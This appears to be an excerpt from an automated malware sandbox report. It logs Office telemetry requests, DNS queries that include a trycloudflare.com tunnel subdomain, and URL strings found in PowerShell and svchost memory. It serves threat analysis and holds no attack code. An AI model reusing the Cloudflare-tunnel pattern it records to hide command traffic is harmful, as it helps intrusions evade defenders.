Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: ride-fatal-italic-information.trycloudflare.com
Source: global traffic	DNS traffic detected: DNS query: google.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: powershell.exe, 00000013.00000002.1882253266.0000022983C54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: svchost.exe, 00000005.00000002.2981339751.000001BF9A400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000005.00000002.2981700563.000001BF9A502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/
Source: svchost.exe, 00000005.00000003.1744513041.000001BF9A618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000005.00000003.1744513041.000001BF9A618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000005.00000003.1744513041.000001BF9A618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
